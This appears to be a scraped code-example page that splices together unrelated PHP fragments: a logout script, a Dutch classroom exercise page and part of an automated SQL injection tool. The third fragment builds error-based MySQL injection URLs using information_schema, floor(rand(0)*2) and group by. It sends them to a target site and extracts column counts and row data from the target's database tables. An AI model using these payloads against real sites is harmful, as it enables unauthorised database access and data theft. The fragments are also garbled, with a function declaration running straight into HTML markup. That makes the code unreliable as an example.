Exemplo n.º 1
0
<?php

ob_start();
session_start();
unset($_SESSION["id"]);
count1();
count2();
require 'temp.txt';
require 'result.txt';
session_destroy();
header('Location:login.php');
?>

<?php 
// max que attemped
function count2()
{
    $file = 'count1.txt';
    $handle = fopen($file, 'r');
    $current = fread($handle, filesize($file));
    /*$file='temp.txt';
    $handle=fopen($file,'w');
    $current=fwrite($handle,$current);
    fclose($handle);
    */
}
?>

<?php 
// this is for how many que attemted
function count1()
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<title>functies gevorderd 1</title>
	<link rel="stylesheet" type="text/css" href="http://web-backend.local/css/global.css">
	<link rel="stylesheet" type="text/css" href="http://web-backend.local/css/directory.css">
	<link rel="stylesheet" type="text/css" href="http://web-backend.local/css/facade.css">
</head>
<body class="web-backend-inleiding">

	<section class="body">

		<p>Functie 1: de needle '<?php 
echo $needle;
?>
' komt <?php 
echo count1($needle);
?>
 voor in de hash key '<?php 
echo $md5HashKey;
?>
'</p>

		<p>Functie 2: de needle '<?php 
echo $needle2;
?>
' komt <?php 
echo count2($needle2);
?>
 voor in de hash key '<?php 
echo $md5HashKey;
?>
Exemplo n.º 3
0
        $flag1 = 3;
        $num = $digit;
        for ($r = 0; $r <= $count12; $r++) {
            $column_print = all_column($column_name_html[$r], $option, $link, $flag1, $num, $db, $post_table);
        }
    } else {
    }
    if ($flag == 3) {
        $link = $link . "'";
        $string1 = $db;
        $string2 = $post_table;
        $string3 = $post_col;
        $column_count_link1 = preg_replace(" /'/ ", "-{$digit}+and(select+1+from(select+count(*),concat((select+(select+(SELECT+concat(0x73616e64656570,0x3a,count({$string3}),0x3a,0x73616e6465657031)+FROM+`{$string1}`.{$string2}+LIMIT+0,1)+)+from+information_schema.tables+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1", $link);
        $column_name_html1 = file_get_contents($column_count_link1) or die("Could not access file error : {$rep_link} <br>");
        $google = $column_name_html1;
        $column_count1 = count1($google);
        $count123 = $column_count1[0];
        for ($t = 0; $t <= $count123 - 1; $t++) {
            $column_name_link_q[$t] = preg_replace(" /'/ ", "-{$digit}+and(select+1+from(select+count(*),concat((select+(select+(SELECT+concat(0x73616e64656570,0x3a,cast({$string2}.{$string3}+as+char),0x3a,0x73616e6465657031)+FROM+`{$string1}`.{$string2}+LIMIT+{$t},1)+)+from+information_schema.tables+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1", $link);
            $column_name_html_q[$t] = file_get_contents($column_name_link_q[$t]) or die("Could not access file error : {$rep_link} <br>");
        }
        for ($r = 0; $r <= $count123; $r++) {
            $column_print = all_column_data($column_name_html_q[$r], $option, $link, $flag, $num, $db, $string3);
        }
    } else {
    }
}
?>

<?php 
function all_column_data($html_op_12, $option, $link, $flag, $num, $db, $column_name)